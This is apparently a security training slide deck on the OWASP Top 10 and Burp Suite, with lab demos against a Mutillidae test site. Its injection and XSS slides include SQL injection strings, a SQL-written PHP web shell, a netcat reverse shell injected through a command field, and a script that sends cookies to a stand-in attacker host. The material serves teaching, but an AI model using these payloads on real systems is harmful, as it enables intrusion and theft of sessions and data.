OWASP Top 10: Hacking with Burp Suite

Inspired by PortSwigger's OWASP Top 10 Guide

Presentation by Chad Furman

Full-stack Tech Lead and Security Champion

@chadfurman

https://chads.website

chad@chadfurman.com

I work here: clevertech® ← 100% remote-first company

You can too: https://hire.clevertech.biz

What is OWASP?

The Open Web Application Security Project

- Top 10 Web App Vulnerabilities
- Owasp Summit 2017 (England, 12-16 June)
- Proactive Controls
- Dependency Check
- ZAP Proxy
- Application Security Verification Standard (ASVS)
- Software Assurance Maturity Model (SAMM)
- More...

Brief Overview of Web Application Hacking

What makes a website vulnerable?

- Back-end scripting languages (PHP, Node, Ruby, etc)
  - SQLi, Command injection, directory traversal, file uploads and direct object references...
- Front-end scripting languages (JavaScript…)
  - Unvalidated client-side redirects, client-side auth, XSS Reflection, cookies, local storage...

Why do people in general hack websites?

- Money, Boredom, Espionage, denial of service
- Bug Hunters looking for a bounty
- Red team trying to find bugs before the bad guys do

Why do we hack websites?

- Create business value – this is the number one goal
- “Help businesses to be safe, secure, and successful” – Robert Hurlbut, Amherst Sec.

Risk Mitigation Practices

Policies

- Crypto: Bcrypt, SHA256/512, SSH keys (not in the repo…), HTTPS w/ TLS 1.2
- Password enforcement – no passwords from known dictionaries
- Monitoring and Logging (events w/ context, ElasticStack)
- Updates (if not possible, more monitoring, re-imaging, backups)

Procedures

- Self-Assessment (ASVS, FallibleInc security checklist)
- Continuous Integration (integration / smoke tests, automated scans)
- Code Review / Pair Programming
- Sanitize User Input (stored procedures for SQLi, React etc. sanitize on display)

Training

- Conferences – Bsides, Hope, Defcon, Blackhat, O'Reilly
- Reading – Books, blogs, and social media
- Practice – Capture-the-flag, program, secure your home computer & network
- Study and Get Certified – OSCP, GIAC, Security+

Five Phases of a Pentest

- Phase 1 - Reconnaissance
  - Active (touching) or passive (indirect) data gathering on target
- Phase 2 – Scanning
  - Manual and automatic tools used to learn more about the infrastructure
- Phase 3 | Gaining Access
  - Taking control, extracting data, pivoting to attack other targets.

- Phase 4 | Maintaining Access
  - Persist, remain stealthy / don’t get caught and extract as much data as possible
- Phase 5 | Covering Tracks
  - Any changes, authorizations, etc. all must return to a state of non-recognition.

The Top 10 (2010)

- A1-Injection: SQL, OS / Cmd, LDAP – untrusted input gets executed, runs commands
- A2-Cross Site Scripting (XSS) – untrusted input gets executed in the browser
- A3-Broken Authentication and Session Management – assume other users' identities.
- A4-Insecure Direct Object References – files / directories / database keys directly accessible
- A5-Cross Site Request Forgery (CSRF) – forge requests with victim session to Web app
- A6-Security Misconfiguration – insecure configurations, out of date software/libraries
- A7-Insecure Cryptographic Storage – sensitive data not encrypted.
- A8-Failure to Restrict URL Access – /create-site-admin accessible by anonymous user
- A9-Insufficient Transport Layer Protection – weak SSL (or no SSL), misconfigured certificates
- A10-Unvalidated Redirects and Forwards – attackers redirect victims (phishing, malware, access)

The Top 10 (2013)

- A1-Injection
- A2-Broken Authentication and Session Management
- A3-Cross Site Scripting (XSS)
- A4-Insecure Direct Object References
- A5-Security Misconfiguration (CSRF)
- A6-Sensitive Data Exposure – Crypto storage / transport combined
- A7-Missing Function Level Access Control – broader version of “restrict URL access”
- A8-Cross Site Request Forgery (CSRF)
- A9-Using Known Vulnerable Components – extracted from Security Misconfigurations
- A10-Unvalidated Redirects and Forwards

The Top 10 (2017)

- A1-Injection
- A2-Broken Authentication and Session Management
- A3-Cross-Site Scripting (XSS)
- A4-Broken Access Control – Restrict what authenticated users are allowed to do.
- A5-Security Misconfiguration
- A6-Sensitive Data Exposure
- A7-Insufficient Attack Protection – IDS / WAF to detect / stop attacks as they happen
- A8-Cross-Site Request Forgery (CSRF)
- A9-Using Components with Known Vulnerabilities
- A10-Underprotected APIs – Protect your APIs, check for vulnerabilities

A1-Injection

Vulnerable code:
<?php mysql_query(“select user where password = ‘“.$_POST[‘password’].”’) ?>

Password = ‘ or 1=1 – **← there is a space after the SQL comment**
SQLi: SELECT user where password = ‘‘ or 1=1 – **← always true**

Password=' union select null, (select concat(...) from table limit 1), null, null, null --
UNION injection works in SELECT statements to allow selecting arbitrary data

Even shells!
SELECT "<?php echo exec($_GET['c']);?>" into outfile "/tmp/backdoor.php") --

Vulnerable code:
<?php mysql_query(“INSERT INTO students (‘”.$_POST[‘username’].”’)”); ?>
Username = Robert’); DROP TABLE students; – **← Not MySQL**
Username = ' | conv(hex(substr(user(),9, 16)), 16, 10) | '
Error injection (i.e. intentionally duplicate dynamic column names)

http://10.0.2.4/mutillidae/index.php?page=user-info.php

A1-Injection (cont'd)

Netcat: a tool for network communications

Listen for connect-back on port 5000
nc -l -p 5000 # don't specify an IP here, it will filter

Reverse shell
nc 10.0.2.5 5000 -e /bin/bash

Vulnerable code:
<?php exec("log ".$_POST['event']) ?>

Event= && nc 10.0.2.5 5000 -e /bin/bash
Command Injection: log && nc 10.0.2.5 5000 -e /bin/bash

http://10.0.2.4/mutillidae/index.php?page=dns-lookup.php

A2-Broken Authentication / Session Management

- Cookie Manipulation – login, watch for cookies, what can you change?
- Cookie security headers

  Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly

http://10.0.2.4/mutillidae/index.php?page=login.php

A3-Cross Site Scripting (XSS)

- Steal cookies

  document.createElement('image').src='http://ev.il.site.com/?data='+document.cook

- Phishing and Malware

  document.getElementsByTagName('html')[0].innerHTML = "...";

- Router hijacking (200+ search results on exploit-db.com for “router”)

- Browser Exploitation Framework (BeEF)

  "}}); } </script>

  <script src="http://127.0.0.1:3000/hook.js"></script>

  <script>var cat cat = ({"query": {"toolIDRequested": "asdf

http://10.0.2.4/mutillidae/index.php?page=pen-test-tool-lookup.php

A4-Insecure Direct Object References

- Files / directories / database keys directly accessible
- Backup files? Backup.tar.gz, backup.zip
- Config files? config.zip, config.inc, .htaccess ...
- Editor files? Index.php.swp, index.php.swo, index.php~ ...
- Files uploaded to the server? /images, /tmp, /var/logs, wp-uploads...

A5-Security Misconfiguration

- Outdated versions of software?
- Extra permissions?
- Unnecessary ports open?

A6-Sensitive Data Exposure

- Error messages showing SQL queries?
- Database type / version? Web server type / version?
- Filesystem paths?
- Credit card numbers? Passwords?

http://10.0.2.4/mutillidae/index.php?page=user-info.php

A7-Missing Function Level Access Controls

- Admin pages accessible by regular users?
- Can a non-admin user do something only an admin should be able to?

http://10.0.2.4/mutillidae/set-up-database.php

A8-Cross Site Request Forgery (CSRF)

- Burpsuite has a tool for generating CSRF payloads automatically
- The attacker builds a form or a link that triggers an action on the target website

A9-Using Known Vulnerable Components

- Banner Grab / Nmap → CVE lookup
- PHP? Apache? WordPress? Drupal? SSH? FTP? Windows?
- Shellshock? Heartbleed? POODLES?

A10-Unvalidated Redirects and Forwards

- Send users to a different domain than the one shown for the link

  http://10.0.2.4/mutillidae/index.php?page=redirectandlog.php&forwardurl=http://www.irongeek.com/

- Make a user trigger your XSS attack
- Trick a user with a copy of the page hosted elsewhere
- Social engineer to download backdoors, steal passwords, etc.

Questions?

- https://chads.website ← Slides, cheatsheet
- https://hire.clevertech.biz ← 100% remote work
- https://owasp.org ← Top 10, Proactive Controls, ASVS, ZAP, Dependency Check, Juice, OWTF, Chapters / Membership, Conferences, etc...
- https://portswigger.com ← Burpsuite

chad@chadfurman.com
https://twitter.com/chadfurman
https://github.com/chadfurman
https://twitter.com/chadfurman
https://www.linkedin.com/in/chadfurman